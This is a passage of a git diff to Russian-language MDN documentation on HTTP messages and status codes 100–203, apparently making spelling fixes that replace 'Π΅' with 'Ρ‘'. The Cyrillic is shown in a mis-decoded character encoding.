+ <li>КаТдая ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π°Ρ строка прСдставляСт собой HTTPΒ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘Ρ‚ сСрвСру Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ Ρ‚ΠΈΠΏΠ°Ρ… ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡ΠΈΡ‚Π°Π΅ΠΌΡ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠ°ΠΊΠΎΠΉ язык , ΠΊΠ°ΠΊΠΈΠ΅Β MIME Ρ‚ΠΈΠΏΡ‹) ΠΈΠ»ΠΈ инструкции ΠΌΠ΅Π½ΡΡŽΡ‰ΠΈΠ΅Β ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ сСрвСра (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π½Π΅ ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ ΠΎΡ‚Π²Π΅Ρ‚, Ссли ΠΎΠ½ ΡƒΠΆΠ΅ Π² кэшС) . Π­Ρ‚ΠΈΒ HTTP Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ Ρ„ΠΎΡ€ΠΌΠΈΡ€ΡƒΡŽΡ‚ Π±Π»ΠΎΠΊ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ заканчиваСтся пустой строкой.</li>
<li>ПослСдний Π±Π»ΠΎΠΊ являСтся Π½Π΅ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ ΠΈ содСрТит Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅. По большСй части ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌΒ POST.</li>
</ol>
@@ -63,16 +63,16 @@ name=Joe%20User&amp;request=Send%20me%20one%20of%20your%20catalogue</pre>
<h3 id="ΠœΠ΅Ρ‚ΠΎΠ΄Ρ‹_запроса">ΠœΠ΅Ρ‚ΠΎΠ΄Ρ‹ запроса</h3>
-<p>HTTP опрСдСляСт Π½Π°Π±ΠΎΡ€ <a href="/en-US/docs/Web/HTTP/Methods">ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² запроса</a> с ΡƒΠΊΠ°Π·Π°Π½ΠΈΠ΅ΠΌ ΠΆΠ΅Π»Π°Π΅ΠΌΠΎΠ³ΠΎ дСйствиС Π½Π° рСсурсС. Π₯отя ΠΎΠ½ΠΈ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ, эти запросы ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΈΠ½ΠΎΠ³Π΄Π° Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ HTTP-ΠΊΠΎΠΌΠ°Π½Π΄Π°ΠΌΠΈ. НаиболСС распространСнныС запросы <code>GET</code> ΠΈ <code>POST</code>:</p>
+<p>HTTP опрСдСляСт Π½Π°Π±ΠΎΡ€ <a href="/en-US/docs/Web/HTTP/Methods">ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² запроса</a> с ΡƒΠΊΠ°Π·Π°Π½ΠΈΠ΅ΠΌ ΠΆΠ΅Π»Π°Π΅ΠΌΠΎΠ³ΠΎ дСйствиС Π½Π° рСсурсС. Π₯отя ΠΎΠ½ΠΈ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ, эти запросы ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΈΠ½ΠΎΠ³Π΄Π° Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ HTTP-ΠΊΠΎΠΌΠ°Π½Π΄Π°ΠΌΠΈ. НаиболСС распространённыС запросы <code>GET</code> ΠΈ <code>POST</code>:</p>
<ul>
<li>{{HTTPMethod("GET")}} ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для запроса содСрТимого ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠ³ΠΎ рСсурса. Запрос с использованиСм <code>GET</code> Π΄ΠΎΠ»ΠΆΠ΅Π½ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅.</li>
- <li>{{HTTPMethod("POST")}} ΠΌΠ΅Ρ‚ΠΎΠ΄ отправляСт Π΄Π°Π½Π½Ρ‹Π΅ Π½Π° сСрвСр, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ своС состояниС. Π­Ρ‚ΠΎΡ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ часто ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML Ρ„ΠΎΡ€ΠΌ</a>.</li>
+ <li>{{HTTPMethod("POST")}} ΠΌΠ΅Ρ‚ΠΎΠ΄ отправляСт Π΄Π°Π½Π½Ρ‹Π΅ Π½Π° сСрвСр, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ своё состояниС. Π­Ρ‚ΠΎΡ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ часто ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML Ρ„ΠΎΡ€ΠΌ</a>.</li>
</ul>
<h2 id="Π‘Ρ‚Ρ€ΡƒΠΊΡ‚ΡƒΡ€Π°_ΠΎΡ‚Π²Π΅Ρ‚Π°_ΠΎΡ‚_сСрвСра">Π‘Ρ‚Ρ€ΡƒΠΊΡ‚ΡƒΡ€Π° ΠΎΡ‚Π²Π΅Ρ‚Π° ΠΎΡ‚ сСрвСра</h2>
-<p>ПослС Ρ‚ΠΎΠ³ΠΎ ΠΊΠ°ΠΊ присоСдинСнный Π°Π³Π΅Π½Ρ‚ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΠ» свой запрос, Π²Π΅Π± сСрвСр ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ Π΅Π³ΠΎ ΠΈ отправляСт ΠΎΡ‚Π²Π΅Ρ‚. По Π°Π½Π°Π»ΠΎΠ³ΠΈΠΈ с клиСнтским запросом, ΠΎΡ‚Π²Π΅Ρ‚ сСрвСра — это тСкстовыС Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΈΠ²Ρ‹ Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ ΠΌΠ΅ΠΆΠ΄Ρƒ собой CRLF, сгруппированныС Π² Ρ‚Ρ€ΠΈ Ρ€Π°Π·Π½Ρ‹Ρ… Π±Π»ΠΎΠΊΠ°:</p>
+<p>ПослС Ρ‚ΠΎΠ³ΠΎ ΠΊΠ°ΠΊ присоСдинённый Π°Π³Π΅Π½Ρ‚ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΠ» свой запрос, Π²Π΅Π± сСрвСр ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ Π΅Π³ΠΎ ΠΈ отправляСт ΠΎΡ‚Π²Π΅Ρ‚. По Π°Π½Π°Π»ΠΎΠ³ΠΈΠΈ с клиСнтским запросом, ΠΎΡ‚Π²Π΅Ρ‚ сСрвСра — это тСкстовыС Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΈΠ²Ρ‹ Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ ΠΌΠ΅ΠΆΠ΄Ρƒ собой CRLF, сгруппированныС Π² Ρ‚Ρ€ΠΈ Ρ€Π°Π·Π½Ρ‹Ρ… Π±Π»ΠΎΠΊΠ°:</p>
<ol>
<li>ΠŸΠ΅Ρ€Π²Π°Ρ строка — строка статуса, состоит ΠΈΠ· подтвСрТдСния ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΠΎΠΉΒ HTTP вСрсии ΠΈ статуса запроса (ΠΈ Π΅Π³ΠΎ значСния Π² Π²ΠΈΠ΄Π΅, понятном Ρ‡Π΅Π»ΠΎΠ²Π΅ΠΊΡƒ).</li>
@@ -97,7 +97,7 @@ Content-Type: text/html
</pre>
-<p>Π‘ΠΎΠΎΠ±Ρ‰Π΅Π½ΠΈΠ΅ ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅ΠΌΡ‹ΠΉ рСсурс Π±Ρ‹Π» ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π΅Π½:</p>
+<p>Π‘ΠΎΠΎΠ±Ρ‰Π΅Π½ΠΈΠ΅ ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅ΠΌΡ‹ΠΉ рСсурс Π±Ρ‹Π» ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Ρ‘Π½:</p>
<pre>HTTP/1.1 301 Moved Permanently
Server: Apache/2.2.3 (Red Hat)
@@ -140,7 +140,7 @@ Content-Type: text/html
<h3 id="ΠšΠΎΠ΄Ρ‹_статусов_ΠΎΡ‚Π²Π΅Ρ‚Π°">ΠšΠΎΠ΄Ρ‹ статусов ΠΎΡ‚Π²Π΅Ρ‚Π°</h3>
-<p><a href="/ru/docs/Web/HTTP/Status">HTTP-ΠΊΠΎΠ΄Ρ‹ ΠΎΡ‚Π²Π΅Ρ‚ΠΎΠ²</a>Β ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‚, Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ Π»ΠΈ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ HTTP-запрос. ΠžΡ‚Π²Π΅Ρ‚Ρ‹ сгруппированы Π² ΠΏΡΡ‚ΡŒ классов: ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΎΠ½Π½Ρ‹Π΅ ΠΎΡ‚Π²Π΅Ρ‚Ρ‹, ΡƒΡΠΏΠ΅ΡˆΠ½Ρ‹Π΅ ΠΎΡ‚Π²Π΅Ρ‚Ρ‹, Ρ€Π΅Π΄ΠΈΡ€Π΅ΠΊΡ‚Ρ‹, ошибки ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π° ΠΈ ошибки сСрвСра.</p>
+<p><a href="/ru/docs/Web/HTTP/Status">HTTP-ΠΊΠΎΠ΄Ρ‹ ΠΎΡ‚Π²Π΅Ρ‚ΠΎΠ²</a>Β ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‚, Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ Π»ΠΈ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ HTTP-запрос. ΠžΡ‚Π²Π΅Ρ‚Ρ‹ сгруппированы Π² ΠΏΡΡ‚ΡŒ классов: ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΎΠ½Π½Ρ‹Π΅ ΠΎΡ‚Π²Π΅Ρ‚Ρ‹, ΡƒΡΠΏΠ΅ΡˆΠ½Ρ‹Π΅ ΠΎΡ‚Π²Π΅Ρ‚Ρ‹, Ρ€Π΅Π΄ΠΈΡ€Π΅ΠΊΡ‚Ρ‹, ошибки ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π° ΠΈ ошибки сСрвСра.</p>
<ul>
<li>{{HTTPStatus(200)}}: OK. Запрос Π·Π°Π²Π΅Ρ€ΡˆΠΈΠ»ΡΡ успСхом.</li>
diff --git a/files/ru/web/http/status/100/index.html b/files/ru/web/http/status/100/index.html
index 5e9b4a15b7..d96b80e56e 100644
--- a/files/ru/web/http/status/100/index.html
+++ b/files/ru/web/http/status/100/index.html
@@ -7,7 +7,7 @@ translation_of: Web/HTTP/Status/100
<p> Код ΠΎΡ‚Π²Π΅Ρ‚Π° "HTTP <strong><code>100 Continue"</code></strong>Β Π½Π° ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΎΠ½Π½Ρ‹ΠΉ статус ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ всС Π΄ΠΎ сих ΠΏΠΎΡ€ Π² порядкС ΠΈ Ρ‡Ρ‚ΠΎ ΠΊΠ»ΠΈΠ΅Π½Ρ‚ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚ΡŒ запрос ΠΈΠ»ΠΈ ΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ, Ссли ΠΎΠ½ ΡƒΠΆΠ΅ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½.</p>
-<p>Π§Ρ‚ΠΎΠ±Ρ‹ сСрвСр провСрял Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ запроса, ΠΊΠ»ΠΈΠ΅Π½Ρ‚ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒΒ {{HTTPHeader("Expect")}}<code>:100-continue</code> Π² качСствС Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° Π² своСм ΠΏΠ΅Ρ€Π²ΠΎΠ½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠΌ запросС ΠΈ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΊΠΎΠ΄ состояния <code>100-continueΒ </code>Π² ΠΎΡ‚Π²Π΅Ρ‚ ΠΏΠ΅Ρ€Π΅Π΄ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΎΠΉ Ρ‚Π΅Π»Π°.</p>
+<p>Π§Ρ‚ΠΎΠ±Ρ‹ сСрвСр провСрял Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ запроса, ΠΊΠ»ΠΈΠ΅Π½Ρ‚ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒΒ {{HTTPHeader("Expect")}}<code>:100-continue</code> Π² качСствС Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° Π² своём ΠΏΠ΅Ρ€Π²ΠΎΠ½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠΌ запросС ΠΈ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΊΠΎΠ΄ состояния <code>100-continueΒ </code>Π² ΠΎΡ‚Π²Π΅Ρ‚ ΠΏΠ΅Ρ€Π΅Π΄ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΎΠΉ Ρ‚Π΅Π»Π°.</p>
<h2 id="Бтатус">Бтатус</h2>
diff --git a/files/ru/web/http/status/200/index.html b/files/ru/web/http/status/200/index.html
index bd1f64e5e5..ae8a98f91b 100644
--- a/files/ru/web/http/status/200/index.html
+++ b/files/ru/web/http/status/200/index.html
@@ -10,9 +10,9 @@ translation_of: Web/HTTP/Status/200
<p>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ успСха зависит ΠΎΡ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° <em>HTTP-</em>запроса:</p>
<ul>
- <li>{{HTTPMethod("GET")}}: <span class="short_text" id="result_box" lang="ru"><span>РСсурс Π±Ρ‹Π» ΠΈΠ·Π²Π»Π΅Ρ‡Π΅Π½ ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Π½ Π² Ρ‚Π΅Π»Π΅ сообщСния.</span></span></li>
+ <li>{{HTTPMethod("GET")}}: <span class="short_text" id="result_box" lang="ru"><span>РСсурс Π±Ρ‹Π» ΠΈΠ·Π²Π»Π΅Ρ‡Ρ‘Π½ ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Π½ Π² Ρ‚Π΅Π»Π΅ сообщСния.</span></span></li>
<li>{{HTTPMethod("HEAD")}}: <span class="short_text" id="result_box" lang="ru"><span>Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² находятся Π² Ρ‚Π΅Π»Π΅ сообщСния.</span></span></li>
- <li>{{HTTPMethod("POST")}}: <span id="result_box" lang="ru"><span>РСсурс, ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ дСйствия, пСрСдаСтся Π² Ρ‚Π΅Π»Π΅ сообщСния.</span></span></li>
+ <li>{{HTTPMethod("POST")}}: <span id="result_box" lang="ru"><span>РСсурс, ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ дСйствия, пСрСдаётся Π² Ρ‚Π΅Π»Π΅ сообщСния.</span></span></li>
<li>{{HTTPMethod("TRACE")}}:<span id="result_box" lang="ru"><span>Π’Π΅Π»ΠΎ сообщСния содСрТит сообщСниС запроса, ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½ΠΎΠ΅ сСрвСром.</span></span></li>
</ul>
diff --git a/files/ru/web/http/status/201/index.html b/files/ru/web/http/status/201/index.html
index 9bb49c0dfc..9d55a9eb3b 100644
--- a/files/ru/web/http/status/201/index.html
+++ b/files/ru/web/http/status/201/index.html
@@ -6,7 +6,7 @@ translation_of: Web/HTTP/Status/201
<div>
<p>{{HTTPSidebar}}</p>
-<p>HTTPΒ <strong><code>201 Created</code></strong> Код ΠΎΡ‚Π²Π΅Ρ‚Π° ΠΎΠ± ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎΠΌ статусС ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ запрос Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ ΠΈ ΠΏΡ€ΠΈΠ²Π΅Π» ΠΊ созданию рСсурса. Новый рСсурс эффСктивно создаСтся Π΄ΠΎ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ этого ΠΎΡ‚Π²Π΅Ρ‚Π°. И Π½ΠΎΠ²Ρ‹ΠΉ рСсурс возвращаСтся Π² Ρ‚Π΅Π»Π΅ сообщСния, Π΅Π³ΠΎ мСстополоТСниС прСдставляСт собой Π»ΠΈΠ±ΠΎ URL-адрСс запроса, Π»ΠΈΠ±ΠΎ содСрТимоС Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° <code><a href="https://developer.mozilla.org/ru/docs/Web/HTTP/Headers/Location" title="ДокумСнтация ΠΎΠ± этом Π΅Ρ‰Ρ‘ Π½Π΅ написана; поТалуйста, поспособствуйтС Π΅Ρ‘ написанию!">Location</a>.</code></p>
+<p>HTTPΒ <strong><code>201 Created</code></strong> Код ΠΎΡ‚Π²Π΅Ρ‚Π° ΠΎΠ± ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎΠΌ статусС ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ запрос Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ ΠΈ ΠΏΡ€ΠΈΠ²Ρ‘Π» ΠΊ созданию рСсурса. Новый рСсурс эффСктивно создаётся Π΄ΠΎ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ этого ΠΎΡ‚Π²Π΅Ρ‚Π°. И Π½ΠΎΠ²Ρ‹ΠΉ рСсурс возвращаСтся Π² Ρ‚Π΅Π»Π΅ сообщСния, Π΅Π³ΠΎ мСстополоТСниС прСдставляСт собой Π»ΠΈΠ±ΠΎ URL-адрСс запроса, Π»ΠΈΠ±ΠΎ содСрТимоС Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° <code><a href="https://developer.mozilla.org/ru/docs/Web/HTTP/Headers/Location" title="ДокумСнтация ΠΎΠ± этом Π΅Ρ‰Ρ‘ Π½Π΅ написана; поТалуйста, поспособствуйтС Π΅Ρ‘ написанию!">Location</a>.</code></p>
<p>ΠžΠ±Ρ‰ΠΈΠΌ случаСм использования этого ΠΊΠΎΠ΄Π° состояния являСтся Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ <a href="https://developer.mozilla.org/ru/docs/Web/HTTP/Methods/POST" title="ДокумСнтация ΠΎΠ± этом Π΅Ρ‰Ρ‘ Π½Π΅ написана; поТалуйста, поспособствуйтС Π΅Ρ‘ написанию!"><code>POST</code></a> запроса.</p>
</div>
diff --git a/files/ru/web/http/status/202/index.html b/files/ru/web/http/status/202/index.html
index ac2d42a884..4acbea6708 100644
--- a/files/ru/web/http/status/202/index.html
+++ b/files/ru/web/http/status/202/index.html
@@ -5,7 +5,7 @@ translation_of: Web/HTTP/Status/202
---
<div>{{HTTPSidebar}}</div>
-<p>Код состояния ΠΎΡ‚Π²Π΅Ρ‚Π° "<em>The HTTP</em>Β <code><strong>202</strong></code><strong><code>Β Accepted"Β </code></strong>ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ запрос ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½, Π½ΠΎ Π΅Ρ‰Π΅ Π½Π΅ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Π½. Π­Ρ‚ΠΎ Π½Π΅ являСтся ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ, Ρ‡Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π² <em>HTTP</em> Π½Π΅Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ·Π΄Π½ΠΈΠΉ асинхронный ΠΎΡ‚Π²Π΅Ρ‚, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Π½Π° Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ запроса. Он ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ для случаСв, ΠΊΠΎΠ³Π΄Π° Π΄Ρ€ΡƒΠ³ΠΎΠΉ процСсс ΠΈΠ»ΠΈ сСрвСр ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ запрос ΠΈΠ»ΠΈ для ΠΏΠ°ΠΊΠ΅Ρ‚Π½ΠΎΠΉ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ.</p>
+<p>Код состояния ΠΎΡ‚Π²Π΅Ρ‚Π° "<em>The HTTP</em>Β <code><strong>202</strong></code><strong><code>Β Accepted"Β </code></strong>ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ запрос ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½, Π½ΠΎ Π΅Ρ‰Ρ‘ Π½Π΅ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Π½. Π­Ρ‚ΠΎ Π½Π΅ являСтся ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ, Ρ‡Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π² <em>HTTP</em> Π½Π΅Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ·Π΄Π½ΠΈΠΉ асинхронный ΠΎΡ‚Π²Π΅Ρ‚, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Π½Π° Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ запроса. Он ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ для случаСв, ΠΊΠΎΠ³Π΄Π° Π΄Ρ€ΡƒΠ³ΠΎΠΉ процСсс ΠΈΠ»ΠΈ сСрвСр ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ запрос ΠΈΠ»ΠΈ для ΠΏΠ°ΠΊΠ΅Ρ‚Π½ΠΎΠΉ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ.</p>
<h2 id="Бтатус">Бтатус</h2>
diff --git a/files/ru/web/http/status/203/index.html b/files/ru/web/http/status/203/index.html
index aabd4310ac..4d184c15ce 100644
--- a/files/ru/web/http/status/203/index.html
+++ b/files/ru/web/http/status/203/index.html
@@ -5,7 +5,7 @@ translation_of: Web/HTTP/Status/203
---
<div>{{HTTPSidebar}}</div>
-<p>"The HTTP <strong><code>203 Non-Authoritative Information"Β </code></strong>Бтатус ΠΎΡ‚Π²Π΅Ρ‚Π° ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ запрос Π±Ρ‹Π» ΡƒΡΠΏΠ΅ΡˆΠ½Ρ‹ΠΌ, Π½ΠΎ прилагаСмая полСзная Π½Π°Π³Ρ€ΡƒΠ·ΠΊΠ° Π±Ρ‹Π»Π° ΠΈΠ·ΠΌΠ΅Π½Π΅Π½Π° с ΡƒΡ‡Π΅Ρ‚ΠΎΠΌ ΠΎΡ‚Π²Π΅Ρ‚Π° сСрвСра{{HTTPStatus("200")}} (<code>OK</code>) сСрвСра происхоТдСния с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΡƒΡŽΡ‰Π΅Π³ΠΎΒ {{Glossary("Proxy server", "proxy")}}.</p>
+<p>"The HTTP <strong><code>203 Non-Authoritative Information"Β </code></strong>Бтатус ΠΎΡ‚Π²Π΅Ρ‚Π° ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ запрос Π±Ρ‹Π» ΡƒΡΠΏΠ΅ΡˆΠ½Ρ‹ΠΌ, Π½ΠΎ прилагаСмая полСзная Π½Π°Π³Ρ€ΡƒΠ·ΠΊΠ° Π±Ρ‹Π»Π° ΠΈΠ·ΠΌΠ΅Π½Π΅Π½Π° с ΡƒΡ‡Ρ‘Ρ‚ΠΎΠΌ ΠΎΡ‚Π²Π΅Ρ‚Π° сСрвСра{{HTTPStatus("200")}} (<code>OK</code>) сСрвСра происхоТдСния с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΡƒΡŽΡ‰Π΅Π³ΠΎΒ {{Glossary("Proxy server", "proxy")}}.</p>
